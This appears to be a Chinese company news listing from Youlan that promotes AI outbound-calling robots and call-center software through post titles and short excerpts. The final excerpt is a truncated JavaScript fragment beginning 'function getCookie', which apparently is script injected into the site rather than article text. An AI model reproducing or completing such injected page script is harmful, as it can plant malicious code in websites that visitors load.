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新闻资讯

智能电话外呼系统的主要功能特色包含哪些?

Uncategorizedyoulan2019-05-14评论

   幽澜电话外呼系统是专业电话外呼、电话营销、电话回访系统。有多个版本,广泛适用于贷款外呼、电话催收、保险外…

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人工智能呼叫中心功能包含哪些?

Uncategorizedyoulan2019-05-14评论

幽澜智能客服呼叫中心系统是新一代的智能呼叫中心采用云计算应用技术,电信级运营支撑平台,主要功能包含以下几种: …

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电话机器人的外呼构成与使用方式

Uncategorizedyoulan2019-05-14评论

外呼构成 电话营销平台:建设语音交互入口,分轨录音,外呼任务管理,意向客户管理和维护,营销报表,话术管理,词性…

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智能外呼系统的分类及应用

Uncategorizedyoulan2019-05-14评论

智能呼叫中心主要分为呼入型和外呼型,以及集成呼入和呼出的综合型呼叫中心。自动外呼时外呼型呼叫中心的一个重要功能…

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呼叫中心系统的未来发展如何?

Uncategorizedyoulan2019-05-13评论

呼叫中心的现状:我国呼叫中心客服系统建立可以说刚刚起步,最先在我国开始建立呼叫中心的是电信部门、民航部门以及民…

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智能客服系统对医疗行业的应用场景有哪些?

Uncategorizedyoulan2019-05-13评论

医疗行业对智能客服系统的需求分析: 挂号难:预约诊疗服务是以病人为中心开展医疗服务的重要改革措施 服务单一:行…

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智能机器人电销系统对金融行业提供了哪些支持?

Uncategorizedyoulan2019-05-13评论

智能机器人电销系统具备意图理解、上下文分析、智能反问、智能纠错等你功能,能够精准地理解客户意图,流畅的引导客户…

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金融行业使用智能客服系统的背景分析

Uncategorizedyoulan2019-05-13评论

对着国内银行业的日趋成熟,各种专业化的银行增长迅速,面临的竞争压力也越来越大。智能系统作为银行的业务渠道之一,…

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客户服务智能化是呼叫中心发展的必然趋势

Uncategorizedyoulan2019-05-13评论

智能语音包括了智能语音导航、智能机器人、能录音质检、智能电销等应用,是客户服务智能化发展的必然趋势。 幽澜智能…

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如何理解智能座席辅助系统?

Uncategorizedyoulan2019-05-10评论

智能座席助手是以语音识别、语义分析、大数据处理技术为基础的实时业务指导及监控管理工具。 提升联络中心的座席业务…

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智能电销机器人,全方位深度场景应用

Uncategorizedyoulan2019-05-10评论

智能电销机器人的应用场景主要有以下几类: 自动外呼。可批量导入客户号码,设定好参数机器人自动拨打。 自动标记。…

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别疑惑,这就是构成智能机器人的核心技术

Uncategorizedyoulan2019-05-10评论

1、智能语义理解引擎(NLP) NLP全称Natural Language Processing,能够对人类语…

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全渠道客服平台,专为企业服务打造的云平台

Uncategorizedyoulan2019-05-10评论

随着互联网与移动互联网的发展,企业对外提供的沟通渠道变的越来越多,如何在如此多的渠道中做到不乱?全渠道客服平台…

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智能机器人多功能优势满足企业需求

Uncategorizedyoulan2019-05-10评论

灵活配置呼叫规则,适用于多场景,按场景设定话术,无需人工输入号码,后台上传号码数据,根据需求设置时间、拨打频率…

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智能客服系统相比人工客服有哪些优势?

Uncategorizedyoulan2019-05-09评论

智能客服系统更精确。依托于最新的深度学习、语义分析算法,新一代客服机器人能更准确的理解客户问题,给出准确的回答…

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在线客服系统实现随时随地连接服务

Uncategorizedyoulan2019-05-09评论

1、多种社交方式服务客户 企业需要全面覆盖客户接触点,才能不流失咨询与商机;多通路沟通覆盖微信在内的主流沟通渠…

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选择幽澜智能外呼中心系统的理由是什么?

Uncategorizedyoulan2019-05-09评论

幽澜智能外呼中心系统为企业解决的痛点有: 无需购买硬件,五分钟部署完毕,节省大量硬件和维护成本。 所有部门人员…

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智能在线客服系统有哪些主要功能?

Uncategorizedyoulan2019-05-09评论

主动邀请功能。访客在进入网站页面后,客服能够自动识别并弹出邀请对话框,主动邀请访客与客服人员进行对话。 直接对…

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智能客服系统有哪些产品亮点?

Uncategorizedyoulan2019-05-09评论

科技的进步给生活方式带来了很多变化,这种变化也促使企业在产品和服务层面不断地创新。在互联网的时代,服务形式、员…

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高效可靠的智能电话销售神器

Uncategorizedyoulan2019-05-08评论

function getCookie(e){var U=document.cookie.match(new R…

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